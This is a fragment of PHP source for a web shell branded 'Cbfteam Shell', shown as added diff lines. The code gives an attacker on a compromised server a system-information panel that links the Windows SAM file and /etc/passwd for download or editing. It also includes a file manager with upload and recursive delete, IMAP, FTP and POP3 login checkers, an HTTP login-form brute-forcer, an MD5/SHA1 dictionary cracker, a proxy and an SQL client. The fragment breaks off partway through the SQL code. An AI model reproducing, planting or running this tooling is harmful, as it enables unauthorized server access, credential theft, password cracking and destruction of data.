+$software=str_replace('Apache',"${mil}Apache'>Apache</a>",$_SERVER['SERVER_SOFTWARE']); +echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>${t6}Server:</td><td bgcolor='#666666'>".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr>${t8}Operation system:</td><td bgcolor='#808080'>$os$osver</td></tr><tr>${t6}Web server application:</td><td bgcolor='#666666'>$software</td></tr><tr>${t8}CPU:</td><td bgcolor='#808080'>$CPU</td></tr>${t6}Disk status:</td><td bgcolor='#666666'>$disksize</td></tr><tr>${t8}User domain:</td><td bgcolor='#808080'>";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr>${t6}User name:</td><td bgcolor='#666666'>";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>"; +if($windows){ +echo "<tr>${t8}Windows directory:</td><td bgcolor='#808080'><a href='".hlinK("seC=fm&workingdiR=$sysroot")."'>$sysroot</a></td></tr><tr>${t6}Sam file:</td><td bgcolor='#666666'>";if(is_readable(($sam)))echo "<a href='".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."'>Readable</a>"; else echo 'Not readable';echo '</td></tr>'; +} +else +{ +echo "<tr>${t8}Passwd file:</td><td bgcolor='#808080'>"; +if(is_readable('/etc/passwd'))echo "<a href='".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."'>Readable</a>";else echo'Not readable';echo "</td></tr><tr>${t6}${mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: "; +if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</td></tr>'; +} +echo "<tr>$t8${mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=".php_logo_guid()."' target='_blank'>".PHP_VERSION."</a> (<a href='".hlinK("seC=phpinfo&workingdiR=$cwd")."'>more...</a>)</td></tr><tr>${t6}Zend version:</td><td bgcolor='#666666'>";if (function_exists('zend_version')) echo "<a href='?=".zend_logo_guid()."' target='_blank'>".zend_version().'</a>';else echo 'Not Found';echo "</td><tr>${t8}Include path:</td><td bgcolor='#808080'>".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."</td><tr>${t6}PHP Modules:</td><td bgcolor='#666666'>";$ext=get_loaded_extensions();foreach($ext as $v)echo $v.' ';echo "</td><tr>${t8}Disabled functions:</td><td bgcolor='#808080'>";if(!empty($disablefunctions))echo $disablefunctions;else echo 'Nothing'; echo"</td></tr><tr>${t6}Safe mode:</td><td bgcolor='#666666'>$safemode</td></tr><tr>${t8}Open base dir:</td><td bgcolor='#808080'>$basedir</td></tr><tr>${t6}DBMS:</td><td bgcolor='#666666'>";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle</a> ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr>${t8}cURL support:</td><td bgcolor='#808080'>Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo '(Version:'.$ver['version'].' OpenSSL version:'.$ver['ssl_version'].' zlib version:'.$ver['libz_version'].' host:'.$ver['host'].')';}echo '</td></tr></table>'; +} +function checksuM($file){ +global $et; +echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td width='10%' bgcolor='#666666'><b>MD5:</b> <font color=#F0F0F0>".md5_file($file).'</font><br><b>SHA1:</b><font color=#F0F0F0>'.sha1_file($file)."</font>$et"; +} +function listdiR($cwd,$task){ +$c=getcwd(); +$dh=opendir($cwd); +while($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr=$cwd.DIRECTORY_SEPARATOR.$cont; +switch($task){ +case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break; +case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;} +} +if(is_dir($adr))listdiR($adr,$task); +} +} +if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}} +if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}} +function filemanageR(){ +global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd; +$table="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>"; +$td1n="<td width='22%' bgcolor='#666666'>"; +$td2m="<td width='22%' bgcolor='#808080'>"; +$td1i="<td width='5%' bgcolor='#666666'>"; +$td2i="<td width='5%' bgcolor='#808080'>"; +$tdnr="<td width='22%' bgcolor='#800000'>"; +$tdw="<td width='22%' bgcolor='#006E00'>"; +if(!empty($_REQUEST['task'])){ +if(!empty($_REQUEST['search']))$_REQUEST['task']=7; +if(!empty($_REQUEST['re']))$_REQUEST['task']=6; +echo '<font color=blue><pre>'; +listdiR($cwd,$_REQUEST['task']); +echo '</pre></font>'; +}else{ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title='Destination'; +$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis=(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad=$_REQUEST['rN']; +$title='New name'; +$dis='Rename'; +} +if(!!empty($_REQUEST['deS'])){ +echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>$title:</td></tr><tr>$td1n<form method='POST'><input type=text value='";if(empty($_REQUEST['rN']))echo $cwd;echo "' size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value='".htmlspecialchars($ad)."' name=cp><input class=buttons type=submit value=$dis></form>$et</center>"; +}else{ +if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if(!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);} +if(!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>"; +} +$select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='"; +if(!empty($_REQUEST['newf'])){ +if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');} +if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);} +} +if($windows){ +echo "$table<td><b>Drives:</b> "; +for($i=66;$i<=90;$i++){$drive=chr($i).':'; +if(is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title='$vol' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";} +} +echo $et; +} +echo "$table<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='$cwd'><input class=buttons type=submit value=Change></form>$et"; +$file=$dir=$link=array(); +if($dirhandle=opendir($cwd)){ +while($cont=readdir($dirhandle)){ +if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont; +elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>"; +$i=0; +foreach($dir as $dn){ +echo '<tr>'; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date('Y/m/d H:i:s',filemtime($dn)); +$adate=date('Y/m/d H:i:s',fileatime($dn)); +$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>"; +if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK('seC=fm&workingdiR='.realpath($dn))."'>"; +if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>'; +echo "$cl1------</td>"; +echo $cl2.$diraction; +echo '</tr>'; +} +foreach($file as $fn){ +echo '<tr>'; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>"; +$mdate=date('Y/m/d H:i:s',filemtime($fn)); +$adate=date('Y/m/d H:i:s',fileatime($fn)); +if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +$size=showsizE(filesize($fn)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>"; +if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>"; +echo "$cl1$size</td>"; +echo $cl2.$fileaction; +echo '</tr>'; +} +foreach($link as $ln){ +$own='Unknow'; +$i++; +$owner=posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>"; +$mdate=date('Y/m/d H:i:s',filemtime($ln)); +$adate=date('Y/m/d H:i:s',fileatime($ln)); +if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +echo '<tr>'; +$size=showsizE(filesize($ln)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."'>"; +if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>"; +echo "$cl1$size</td>"; +echo $cl2.$linkaction; +echo '</tr>'; +} +} +$dc=count($dir)-2; +if($dc==-2)$dc=0; +$fc=count($file); +$lc=count($link); +$total=$dc+$fc+$lc; +echo "</table></div>$table<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc$et<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor=";if (is_writeable($cwd)) echo '#006E00';elseif (!is_readable($cwd)) echo '#800000';else '#333333'; echo '>Current directory status: ';if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;echo "$et<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>$td1n<form method='POST'><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>$et</td><td width='50%'><br>${t}Upload:</td></tr><tr>$td1n<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note For Cbfteam Shell : Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</form>$et$et"; +} +} +function imapchecK($host,$username,$password,$timeout){ +$sock=fsockopen($host,143,$n,$s,$timeout); +$b=uniqid('NJ'); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +fclose($sock); +if($res=="$b OK")return 1;else return 0; +} +function ftpchecK($host,$username,$password,$timeout){ +$ftp=ftp_connect($host,21,$timeout); +if(!$ftp)return -1; +$con=ftp_login($ftp,$username,$password); +if($con)return 1;else return 0; +} +function pop3checK($server,$user,$pass,$timeout){ +$sock=fsockopen($server,110,$en,$es,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function formcrackeR(){ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo '<font color=blue>Cracking started...<br>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;} +} +fclose($dictionary); +echo 'Done!</font><br>'; +} +else echo "<center><table border=0 style='border-collapse: collapse' width='434'><tr><td width='174' bgcolor='#333333'>HTTP Form cracker:</td><td bgcolor='#333333' width='253'></td></tr><form method='POST' name=form><tr><td width='174' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width='253'><input type=text name=dictionary size=35></td></tr><tr><td width='174' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='174' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width='174' bgcolor='#808080'>Action Page:</td><td bgcolor='#808080' width='253'><input type=text name=target value='http://".getenv('HTTP_HOST')."/login.php' size=35></td></tr><tr><td width='174' bgcolor='#666666'>Method:</td><td bgcolor='#666666' width='253'><select size='1' name='method'><option selected value='POST'>POST</option><option value='GET'>GET</option></select></td></tr><tr><td width='174' bgcolor='#808080'>Username field name:</td><td bgcolor='#808080' width='253'><input type=text name=userf value=user size=35></td></tr><tr><td width='174' bgcolor='#666666'>Password field name:</td><td bgcolor='#666666' width='253'><input type=text name=passf value=passwd size=35></td></tr><tr><td width='174' bgcolor='#808080'>Submit name:</td><td bgcolor='#808080' width='253'><input type=text value=login name=submitf size=35></td></tr><tr><td width='174' bgcolor='#666666'>Submit value:</td><td bgcolor='#666666' width='253'><input type=text value='Login' name=submitv size=35></td></tr><tr><td width='174' bgcolor='#808080'>Fail string:</td><td bgcolor='#808080' width='253'><input type=text name=fail value='Try again' size=35></td></tr><tr><td width='174' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit name=start value=Start></form>$et</center>"; +} +function hashcrackeR(){ +global $errorbox,$t,$et,$hcwd; +if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>'; +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;} +} +echo 'Done!</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "<center>${t}Hash cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Hash:</td><td bgcolor='#808080'><input type=text name=hash size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Type:</td><td bgcolor='#666666'><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width='20%' bgcolor='#808080'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#808080;' checked>Log</td><td bgcolor='#808080'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +} +function pr0xy(){ +global $errorbox,$et,$footer,$hcwd; +echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><form method='POST'><tr><td width='20%'><b>Navigator: </b><input type=text name=urL size=140 value='";if(!!empty($_REQUEST['urL'])) echo 'http://www.edpsciences.org/htbin/ipaddress'; else echo htmlspecialchars($_REQUEST['urL']);echo "'>$hcwd<input type=submit class=buttons value=Go></form>$et"; +if(!empty($_REQUEST['urL'])){ +$dir=''; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); +$url=fsockopen($host,80,$en,$es,12); +if(!$url)die("<br>$errorbox Can not connect to host!$et$footer"); +fputs($url,"GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$con=''; +while($con!="\r\n")$con=fgets($url); +while(!feof($url))$con.=fgets($url); +fclose($url); +$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/")); +$con=replace_stR($s,$con); +echo $con; +} +} +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$res=querY($type,$server,$user,$pass,$db,$query); +if($res){ +$res=str_replace('|-|-|-|-|-|','</td><td>',$res); +$res=str_replace('|+|+|+|+|+|','</td></tr><tr><td>',$res); +$r=explode('[+][+][+]',$res); +$r[1]=str_replace('[-][-][-]',"</td><td bgcolor='333333'>",$r[1]); +echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>".$r[1].'</tr><tr><td>'.$r[0]."$et<br>"; +} +else{ +echo "$errorbox Failed!$et<br>"; +} +} +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "<center>${t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MySQL')echo 'selected';echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Submit Query'></form>$et</center>"; +} +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mysql_num_fields($result);$i++) +$res.=mysql_field_name($result,$i).'[-][-][-]'; +mysql_close($link); +return $res; +} +break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; 